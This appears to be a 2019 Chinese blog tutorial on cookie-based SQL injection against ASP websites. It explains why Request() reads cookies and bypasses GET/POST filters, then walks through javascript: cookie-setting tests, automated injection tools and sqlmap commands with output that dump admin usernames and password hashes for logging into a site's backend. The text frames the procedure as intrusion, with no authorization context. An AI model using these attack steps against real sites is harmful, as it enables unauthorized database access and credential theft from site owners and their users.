2019年2月11日 (渗透--摘录1) cookie注入
抛开中转工具直接搞定Cookie注入
最近在翻看危险漫步博客的时候,拜读了一篇关于Cookie注入的文章,受益良多。文中详细解析了Cookie注入漏洞存在的原因以及多种利用方法,非常适合大家来学习进步,但是我总感觉不够完善,今天我就来补充一下。
想想看,大家平时在入侵中碰到Cookie注入漏洞的时候,多半采用的利用方法就是用”寂寞的刺猬”写的那款”注入中转生成器”来生成一个ASP页面。
然后将生成的页面文件放在ASP环境下,构造出合适的url就可以直接注入了。方法虽然不是很复杂,但是有的时候,专门为了一个注入漏洞来搭建一个ASP环境也挺不方便的。
一、工具的简单介绍
这里我就给大家介绍一款工具,可以直接搞定大部分Cookie注入漏洞,避免了因需要搭建ASP环境而带来的麻烦。
工具名称:鬼客、cookie全自动SQL注入工具
二、实践演示
搭站,经分析得知,存在cookie注入漏洞的页面是网站根目录下的news_more.asp文件,我们在网站中找到类似的链接,习惯性地在该地址后面添加一个单引号,弹出了防注入警告,继续提交-0和-1,分别返回了不同的页面。猜测该页面存在Cookie注入漏洞。
接下来打开鬼客,填写注入网址框、变量框、值框,填写连接类型和特征字符。连接类型指该注入点是数字型还是字符型注入点,关于怎么判断我就不多说了,无非是单引号符号闭合的问题,单纯看数字还是字母有时候不是那么准确。特征字符指当前页面存在而报错页面不存在的、可以起到区分作用的字符串。
填写好之后点击检测按钮,稍等一会,工具左下方提示存在注入。开始注入,点击检测表段,工具就开始用字典暴力破解表段了。。。左下方提示检测表段完成,检测出表段ADMIN;选中ADMIN,检测字段;检测内容。
有时候得到的密码可能是经过加密的,那时候就需要相应的查询解密。接下来是去后台测试注入到的账号密码是否正确,找到后台管理登录进去。
Cookie注入原理以及cookie中转注入
ASP中的Request对象
用来获取客户端提交的数据
集合 |
描述 |
ClientCertificate |
包含了存储于客户证书中的域值(field values) |
Cookies |
包含了HTTP请求中发送的所有的cookie值 |
Form |
包含了使用post方法由表单发送的所有的表单(输入)值 |
QueryString |
包含了HTTP查询字符串中所有的变量值 |
ServerVariables |
包含了所有的服务器变量值 |
使用方法一般是:request.[集合名称] (参数名称),比如获取从表单中提交的数据时可以这样写:request.form(“参数名称”),但ASP中规定也可以省略集合名称,直接用这样的方式获取数据:request(“参数名称”),当使用这样的方式获取数据时,ASP规定是按QueryString、Form、Cookies、ServerVariables的顺序来获取数据的。
我们来研究一下怎样情况下才会有Cookie注入
如果你学过ASP,你应该会知道Request.QueryString(GET)或Request.Form(POST)
备注:客户端向服务器提交HTTP请求,两种HTTP请求方法GET和POST
·GET -从指定的资源请求数据
·POST -向指定的资源提交要被处理的数据
这就是我们用于读取用户发给Web服务器的指定键中的值
我们有时为了简化代码,会写成 ID=Request(“ID”)
这样写法是简单了,但问题就来了
Web服务器是先取GET中的数据,没有再取POST中的数据,还是会取Cookies中的数据
防注入系统会检测GET和POST中的数据,如果有特殊字符(这里当然有特殊字符啦),就禁止数据的提交,但防注入系统没有检测cookies中的数据
这样,当我们使用request(“参数名称”)方式获取客户端提交的数据,并且没有对使用request.cookies(“参数名称”)方式提交的数据进行过滤时,Cookie注入就产生了。
注入步骤:
一、判断是否有Cookie注入漏洞
目标URL “http://www.xxx.com/x.asp?id=xxx”,首先去掉”id=xxx”,查看页面显示是否正常,如果不正常,说明参数在数据传递中有用,接着清空浏览器地址栏,输入
javascript:alert(document.cookie=”id=”+escape(“123”)); 回车 //将123保存在cookie的ID中
会看到弹出一个对话框,内容是id=123
之后,你刷新一个网页,如果正常显示,表示该网页是用Request(“ID”)这样的格式获取客户端提交的数据,这样就可以尝试进行cookie注入。
在浏览器地址栏输入
javascript:alert(document.cookie=”id=”+escape(“xx and 1=1”)); 回车
刷新目标页面,如果正常显示,可以再试下一步(如果不正常,则有可能被过滤掉了)
javascript:alert(document.cookie=”id=”+escape(“xx and 1=2”)); 回车
刷新目标页面,如果未正常显示,就说明存在cookie注入漏洞。
注:如果程序员是用Request.QueryString或Request.Form获取客户端提交的数据的话,是无法利用cookie绕过防注入系统进行注入的,因为服务器程序直接从GET或POST中读取数据,并不会去读cookie中的数据,所以无法利用。
二、利用cookie中转注入
· 手工注入,打开寂寞的刺猬写的注入中转生成器,选择cookie注入
填写 注入键名、注入URL地址、来源页、POST提交值jmdcw=xxx
点击生成ASP页面,得到jmCook.asp
然后将生成的页面文件放在ASP环境(wwwroot目录)下,安装
看到右下角一闪一闪的图标,表示web服务器正运行中
//搭建ASP环境的工具为netbox
构造出合适的url(http://127.0.0.1:端口号/jmCook.asp?jmdcw=xxx)
然后使用明小子或者啊D填写构造好的url,就可以注入成功了。
· ASP手工注入辅助工具 v1.3
填写 注入点、变量、ID号,点击中转按钮,会生成新的url,
打开明小子,利用这个url做sql注入检测。
或使用sqlmap直接做cookie注入,不用中转。
备注:例如目标网站为:http://www.xxx.com/x.asp?id=1,则sqlmap命令为sqlmap.py -u “http://www.xxx.com/x.asp” --cookie “id=1” --level 2
sqlmap做cookie注入获取表段、字段、字段中的值
- cookie注入,获取表段
Do you want to URL encode cookies values (implementation specific)? [Y/n] Y
Cookie parameter ‘id’ is vulnerable. Do you want to keep testing the others(if any)? [y/N] Y
Do you want to use common table existence check? [Y/n/q] Y
Please enter number of threads? [Enter for 1 (current)] 10
Sqlmap.py -u http://www.xx.com/show.asp --cookie “id=18” ---table --level 2
运行结果为:
Database : Microsoft_Access_xxxdb
[x tables]
+--------+
| xxx |
| xxx |
+--------+
- 获取字段
Sqlmap.py -u http://www.xx.com/show.asp --cookie “id=18” --columns -T <table name> --level 2
运行结果为:
Database : Microsoft_Access_xxxdb
Table : admin
[x columns]
+----------+-----------+
| column|Type |
+----------+-----------+
| user |numeric |
| id |numeric |
+----------+-----------+
- 获取字段中的内容
Sqlmap.py -u http://www.xx.com/show.asp --cookie “id=18” --dump -T <table name> -C “字段名1,字段名2” --level 2
Database : Microsoft_Access_xxxdb
Table : admin
[1 entry]
+----------+-----------+
| user |id |
+----------+-----------+
| aaaa |MD5enc |
+----------+-----------+